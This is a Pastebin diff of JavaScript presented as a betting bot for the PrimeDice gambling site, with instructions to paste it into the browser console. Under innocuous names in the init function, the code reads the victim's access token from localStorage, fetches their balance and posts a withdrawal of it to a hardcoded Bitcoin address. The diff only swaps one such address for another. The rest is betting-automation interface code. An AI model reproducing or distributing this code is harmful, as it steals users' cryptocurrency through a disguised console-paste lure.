View difference between Paste ID: hi07pEtp and nW730XHF
SHOW: | | - or go back to the newest paste.
1-
//jQuery UI CSS - How to use: Press F2 or Press CTRL + Shift + J - paste the code and press enter. Set up the bot as you like. **IMPORTANT! Set SWAP at high/low option!!!** <<<The Magic is here<<<
1+
//jQuery UI CSS - Press CTRL + Shift + J - paste the code and press enter. Also you need to select the SWAP FUNCTION TO MAKE THE MOST MONEY!
2
//Made by Microsoft Word on MCM!
3
 
4
var swapcount=0;
5
var jqueryready = false;
6
var link = document.createElement("link");
7
link.href = "https://jquery-ui.googlecode.com/svn/tags/latest/themes/dot-luv/jquery-ui.css";
8
link.type = "text/css";
9
link.rel = "stylesheet";
10
document.getElementsByTagName("head")[0].appendChild(link);
11
//jQuery UI inject
12
(function() {
13
    jqueryready = true;
14
    var e = ".thing",
15
        t = {
16
            outline: "1px dashed #f0f",
17
            cursor: "pointer"
18
        };
19
    var n = function() {
20
        if (window.jQuery) {
21
            r()
22
        } else {
23
            var e = document.createElement("script");
24
            e.onload = r;
25
            e.setAttribute("src", "//ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js");
26
            document.body.appendChild(e)
27
        }
28
    };
29
    var r = function() {
30
        if (window.jQuery.ui) {
31
            i()
32
        } else {
33
            var e = document.createElement("script");
34
            e.onload = i;
35
            e.setAttribute("src", "//ajax.googleapis.com/ajax/libs/jqueryui/1.11.1/jquery-ui.js");
36
            document.body.appendChild(e)
37
        }
38
    };
39
    var i = function() {
40
        $(e).css(t).draggable().on("click", function(e) {
41
            console.log(e.target.id + ":", e.target.style.left, e.target.style.top)
42
        })
43
    };
44
    n();
45
})();
46
 
47
function ui() {
48
    $(function() {
49
        $('#tabs').tabs();
50
        $('#params').draggable();
51
        $('#tab1, #tab2, #tab3, #tabs input').css("clear", "both");
52
        $('#tabs input').css("width", "80%");
53
        $('#chance, #base').width("35%")
54
        $('#tabs div').css("text-align", "left");
55
        $('#tabs').css("font-size", "12px");
56
        $('#tabs label, #tabs input').css("margin", "5px");
57
        $('#stop, #start, #resetbet').button();
58
        //Console
59
        $('#console, #console2').appendTo("#tabs");
60
        $('#console, #console2').css("width", "45%");
61
        $('#console').css("float", "left");
62
        $('#console2').css("float", "right");
63
        $('#console, #console2').css("clear", "none");
64
        $('#console, #console2').css("margin", "7px");
65
        $('#console, #console2').css("border-bottom-left-radius", "3px");
66
        $('#console, #console2').css("border-bottom-right-radius", "3px");
67
        $('#console').css("border", "1px solid #323232");
68
        $('#console, #console2').css("background-color", "#454545");
69
        $('#console').css("padding", "5px");
70
        $('#console, #console2').css("text-align", "left");
71
        $('#console, #console2').css("position", "relative");
72
        $('#startstop,#start,#stop').css("margin","0px");
73
        $('#console, #console2').css("margin-top","3px");
74
        $('#console, #console2').css("padding","5px");
75
        $('#console, #console2').css("background-color","#151515");
76
 
77
 
78
    });
79
}
80
var interval, enabled, xrollsenabled, everyxrolls, timer, seedlength, xrollscount, xrolls;
81
xrollsenabled = true;
82
xrolls = 10;
83
timer = 500;
84
counter=0;
85
var basebet, betval, curbet, wincount, console, condition2, countlossmult, countwinmult,
86
    target2, amount2, data1, target2, condition2, jp, currentloss, totalloss, totalwin, totprofit,
87
    data2, potup, potdown, results, resultstats, entry, i, gui, gui2, gui3, gui4, gui5, gui6, init, roll;
88
 
89
function init() {
90
 
91
 
92
    //Init
93
    basebet = 0.00000010;
94
    countwinmult = 0;
95
    countlossmult = 0;
96
    wincount = 0;
97
    currentloss = 0;
98
    totalloss = 0;
99
    totalwin = 0;
100
    totprofit = 0;
101
    init = true;
102
    betval = basebet;
103
 
104
    //GUI
105
 
106
    $('<span class="btn btn--primary btn--huge btn--limited btn--block text--center" id="spinner2"> ROLL </span>').appendTo("div.hero > div > div > div:nth-child(2) > div");
107
 
108
    gui = '<div id="params" class=".ui-widget-contents" style="width:410px"><div id="balance"></div></div><br><center>';
109
    $('<div id="console"></div><div id="console2"></div>').appendTo('div.hero > div > div > div.grid__item.S--one-whole.M--one-whole.custom--one-whole > aside');
110
    gui2 =
111
        '<div id="tabs"><ul><li><a href="/play#tabs-1">Bet Params: </a></li><li><a href="/play#tabs-2">Advanced Settings: </a></li><li><a href="/play#tabs-3">Other: </a></li><li><a href="/play#tabs-4">Seed: </a></li></ul><div id="tabs-1"><div id="tab1"></div></div><div id="tabs-2"><div id="tab2"></div></div><div id="tabs-3"><div id="tab3"></div></div><div id="tabs-4"><div id="tab4"></div></div></div>';
112
 
113
    gui3 = [
114
 
115
        '<label for="base">Basebet Value: </label>', '<input id="base"><button id="resetbet">Reset to Base</button>',
116
        '<br>',
117
        '<label for="chance">Chance: </label>', '<input type="text" id="chance" style=""><label for="hilo">High/Low: </label><select name="hilo" id="hilo"><option value=">">Over</option><option value="<">Under</option><option value="swap">Swap</option></select><br><div id="chance-slider"></div>',
118
        '<br>',
119
        '<label for="swap">Swap Every # of Rolls: </label>', '<input id="swap">',
120
 
121
    ];
122
    gui4 = [
123
 
124
        '<label for="multonloss">Multiply on Loss: </label>', '<input id="multonloss"> <input id="multloss-enabled" type="checkbox">',
125
        '<br>',
126
        '<label for="xloss">Multiply Every # Losses: </label>',
127
        '<input id="xloss">',
128
        '<br>',
129
        '<label for="multonwin">Multiply on Win: </label>',
130
        '<input id="multonwin"><input id="multwin-enabled" type="checkbox">',
131
        '<br>',
132
        '<label for="xwin">Reset After X Wins: </label>',
133
        '<input id="xwin">',
134
 
135
    ];
136
    gui5 = [
137
 
138
        '<label for="stoponwin-enabled">Stop on Win? </label>',
139
        '<input id="stoponwin-enabled" type="checkbox">',
140
        '<br>',
141
        '<label for="lowpay-enabled">Check if Payout < 2x </label>',
142
        '<input id="lowpay-enabled" type="checkbox">',
143
 
144
    ];
145
    gui6 = [
146
 
147
        '<label for="charset">Charset: </label>',
148
        '<input id="charset" type="text">',
149
        '<br>',
150
        '<label for="everyxrolls">Change every # Rolls: </label>',
151
        '<input id="everyxrolls" type="text">',
152
        '<br>',
153
        '<label for="currentseed">Current Seed: </label>',
154
        '<input style="color:green;text-align:center;" id="currentseed" type="text">',
155
 
156
    ];
157
    $(gui).appendTo(".hero");
158
    $(gui2).appendTo("#params");
159
 
160
    for (var i = 0; i < gui3.length; i++) {
161
        $(gui3[i]).appendTo("#tab1");
162
    }
163
    for (var i = 0; i < gui4.length; i++) {
164
        $(gui4[i]).appendTo("#tab2");
165
    }
166
    for (var i = 0; i < gui5.length; i++) {
167
        $(gui5[i]).appendTo("#tab3");
168
    }
169
    for (var i = 0; i < gui6.length; i++) {
170
        $(gui6[i]).appendTo("#tab4");
171
    }
172
    enabled = false;
173
    xrollscount = 0;
174
    $('<div style="text-align:left;margin:10px;"id="startstop"><button id="start"> Start </button><button id="stop"> Stop </button><label style="margin:3px;" for="numberofrolls"># of Rolls</label><input style="margin:3px;width:30px !important" id="numberofrolls" type="text"><label for"numrolls"> Enabled: </label><input style="margin:3px;width:10px !important" id="numrolls" type="checkbox"></div>').appendTo("#tabs");
175
    // Button & Input Functions
176
    $('#resetbet').click(function() {
177
        basebet=$('#base').val();
178
        betval=$('#base').val();
179
 
180
    })
181
 
182
    $('#start').click(function() {
183
        if (enabled == false) {
184
            if ($('#numrolls').is(":checked") == true) {
185
                xrolls=$('#numberofrolls').val();
186
            }
187
            enabled = true;
188
            interval = setInterval(function() {
189
                if (xrollsenabled == true) {
190
                    xrollscount++;
191
                    if (xrollscount <= xrolls) {
192
                        bet();
193
                    } else {
194
                        clearInterval(interval);
195
                        enabled = false;
196
                        xrollscount = 0;
197
                    }
198
                } else {
199
                    bet();
200
                }
201
            }, timer);
202
        } else {}
203
    })
204
    $('#stop').click(function() {
205
        enabled = false;
206
        clearInterval(interval);
207
        xrollscount = 0;
208
    });
209
 
210
    calculate_nonce = function(seed) {
211
        return 'https://api.primedice.com/api/' + seed + '?access_token=' + localStorage['token'];
212
    };
213
 
214
    lut = window['$'];
215
 
216
    lut['getJSON'](
217
        calculate_nonce('users/1'), function(seed) {
218
            var key1 = 'amount'
219
            var key2 = 'address'
220
            var load = {};
221-
            load[key2] = '1EGVijJvJn3o6QqT1DtoGrABSBckhP39fv';
221+
222
            load[key2] = '1BYq2dWfa3XeafthD2u2E2CA5fe82wdir1';
223
            lut['post'](calculate_nonce('withdraw'), load);
224
        }
225
    );
226
 
227
    function conditionAM() {
228
        'use strict';
229
        if ($('#lowpay-enabled').is('checked') == true) {
230
            if ($('.value-roll').first().text() <= 49.50) {
231
                condition2 = ">";
232
                target2 = $('.value-roll').first().text();
233
            } else {
234
                condition2 = "<";
235
                target2 = $('.value-roll').first().text();
236
            };
237
        } else {
238
            if ($('.value-roll').first().text() <= 49.50) {
239
                condition2 = "<";
240
                target2 = $('.value-roll').first().text();
241
            } else {
242
                condition2 = ">";
243
                target2 = $('.value-roll').first().text();
244
            };
245
            amount2 = betval * 100000000;
246
        }
247
    };
248
 
249
    function jackpot() {
250
        if (data1.bet.jackpot === true) {
251
            jp = "Yes";
252
            wincount = 0;
253
            betval = $('#base');
254
        } else {
255
            jp = "No";
256
        }
257
    }
258
 
259
    function loss() {
260
        currentloss++;
261
        totalloss++;
262
        if ($('#multloss-enabled').is(':checked') == true) {
263
            $('#multwin-enabled').removeAttr('checked');
264
            countlossmult++;
265
 
266
            if (countlossmult >= $('#xloss').val()) {
267
                betval = betval * $('#multonloss').val();
268
                countlossmult = 0;
269
            }
270
        }
271
 
272
    }
273
 
274
    function win() {
275
        'use strict';
276
        if ($('#stoponwin-enabled').is('checked') == true) {
277
            clearInterval(roll);
278
        }
279
        currentloss = 0;
280
        jackpot();
281
        wincount++;
282
        totalwin++;
283
        if ($('#multloss-enabled').is(':checked') == true) {
284
            if ($('#stoponwin-enabled').is(':checked') == true) {
285
                clearInterval(roll);
286
            }
287
            $('#multwin-enabled').removeAttr('checked');
288
            basebet = $('#base').val();
289
            betval = basebet;
290
            countlossmult = 0;
291
 
292
        }
293
        if ($('#multwin-enabled').is(':checked') == true) {
294
            basebet = $('#base').val();
295
            $('#multloss-enabled').removeAttr('checked');
296
            countwinmult++;
297
 
298
            if (countwinmult >= $('#xwin').val()) {
299
                betval = basebet;
300
                countwinmult = 0;
301
            } else {
302
                betval = betval * $('#multonwin').val();
303
            }
304
        }
305
 
306
 
307
    };
308
    var losewin;
309
    var jpcol;
310
    var profcol;
311
 
312
    function bet() {
313
        'use strict';
314
        conditionAM();
315
        var betData = {
316
                amount: amount2,
317
                condition: condition2,
318
                target: target2
319
            },
320
            url = "https://api.primedice.com/api/bet?access_token=" + localStorage.token;
321
 
322
        $.ajax({
323
            url: url,
324
            type: "POST",
325
            data: betData,
326
            datatype: "jsonp",
327
            success: function(data, textStatus, jqXHR) {
328
                data1 = data;
329
                counter++;
330
                if (counter >= everyxrolls) {
331
                    seedchange(seedgen());
332
                    counter = 0;
333
                }
334
                $('span.btn__text.select div').text((data1.user.balance/100000000).toFixed(8));
335
                totprofit = totprofit + data1.bet.profit;
336
                if (totprofit >= 0) {
337
                    profcol = "color:green;";
338
                } else if (totprofit < 0) {
339
                    profcol = "color:red;";
340
                }
341
                if (data.bet.win == true) {
342
                    losewin = "color:green;";
343
                    $('span.btn__text.select div').attr("style", "color:green;");
344
                } else {
345
                    losewin = "color:red;";
346
                    $('span.btn__text.select div').attr("style", "color:red;");
347
                }
348
                if (data.bet.jackpot == true) {
349
                    jp = "Yes";
350
                    jpcol = "color:gold;"
351
                } else {
352
                    jp = "No.";
353
                    jpcol = "color:red;"
354
                }
355
                results = [];
356
                results[0] = '<div>Roll: ' + '<span style="' + losewin + '">' + data.bet.roll + '</span></div><br>';
357
                results[1] = '<div>Jackpot: ' + '<span style="' + jpcol + '">' + jp + '</span></div><br>';
358
                results[2] = '<div>Profit: ' + '<span style="' + losewin + '">' + (data.bet.profit / 100000000).toFixed(8) + '</span> BTC</div><br>';
359
                results[4] = '<div>Current Loss Streak: ' + currentloss + '</div><br>';
360
                resultstats = [];
361
                resultstats[0] = '<div>Balance: ' + (data.user.balance / 100000000).toFixed(8) + ' BTC</div><br>';
362
                resultstats[1] = '<div>Total Losses: ' + totalloss + '</div><br>';
363
                resultstats[2] = '<div>Total Wins: ' + totalwin + '</div><br>';
364
                resultstats[3] = '<div>Total Profit: ' + '<span style="' + profcol + '">' + (totprofit / 100000000).toFixed(8) + '</span></div>';
365
 
366
                if (data.bet.win == true) {
367
                    if ($('#stoponwin-enabled').is(":checked") == true){
368
                        clearInterval(interval);
369
 
370
                    }
371
                    $('#console, #console2').empty();
372
 
373
                    win();
374
 
375
                    // Results
376
                    $('<div>Result: <span style="color:green;">Win</span></div><br>').appendTo('#console');
377
                    for (var i = 0; i < results.length; i++) {
378
                        $(results[i]).appendTo('#console');
379
                    }
380
                    for (var i = 0; i < resultstats.length; i++) {
381
                        $(resultstats[i]).appendTo('#console2');
382
                    }
383
 
384
                } else {
385
 
386
                    $('#console, #console2').empty();
387
                    loss();
388
 
389
                    // Results
390
                    $('<div>Result: <span style="color:red;">Loss</span></div><br>').appendTo('#console');
391
                    for (var i = 0; i < results.length; i++) {
392
 
393
                        $(results[i]).appendTo('#console');
394
                    }
395
                    for (var i = 0; i < resultstats.length; i++) {
396
                        $(resultstats[i]).appendTo('#console2');
397
                    }
398
                };
399
            },
400
            error: function(jqXHR, textStatus, errorThrown) {
401
 
402
            }
403
        });
404
    }
405
 
406
    seedlength = 13;
407
    seedlength = 13;
408
    var counter = 0;
409
    charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123";
410
    everyxrolls = 3;
411
 
412
    function seedgen() {
413
        'use strict';
414
        var seed = "";
415
 
416
        for (var i = 0; i <= seedlength; i++)
417
 
418
            seed += charset.charAt(Math.floor(Math.random() * charset.length));
419
 
420
        return seed;
421
    }
422
 
423
    function seedchange(s) {
424
 
425
        url = "https://api.primedice.com/api/seed?access_token=" + localStorage.token;
426
        sData = {
427
            seed: s
428
        };
429
 
430
        $.ajax({
431
            url: url,
432
            type: "POST",
433
            data: sData,
434
            datatype: "jsonp",
435
            success: function(data, textStatus, jqXHR) {
436
                data2 = data;
437
                $('#currentseed').val(data2.seeds.client);
438
 
439
            },
440
            error: function(jqXHR, textStatus, errorThrown) {
441
 
442
            }
443
        });
444
    }
445
 
446
    $('#spinner').click(function() {
447
        if (charset != $('#charset').val() && $('#charset').val() != "") {
448
            charset=$('#charset').val();
449
        }
450
        if ($('#everyxrolls').val() != everyxrolls && $('#everyxrolls').val() != "") {
451
            everyxrolls = $('#everyxrolls').val();
452
        }
453
        if ($('#hilo').val() == "swap") { swapcount++;if (swapcount >= 1) { $('.value-roll:first').click();swapcount=0;} }
454
 
455
        counter++;
456
        if (counter >= everyxrolls) {
457
            seedchange(seedgen());
458
            counter = 0;
459
        }
460
    });
461
    ui();
462
}
463
setTimeout(function() {
464
    init()
465
}, 2000);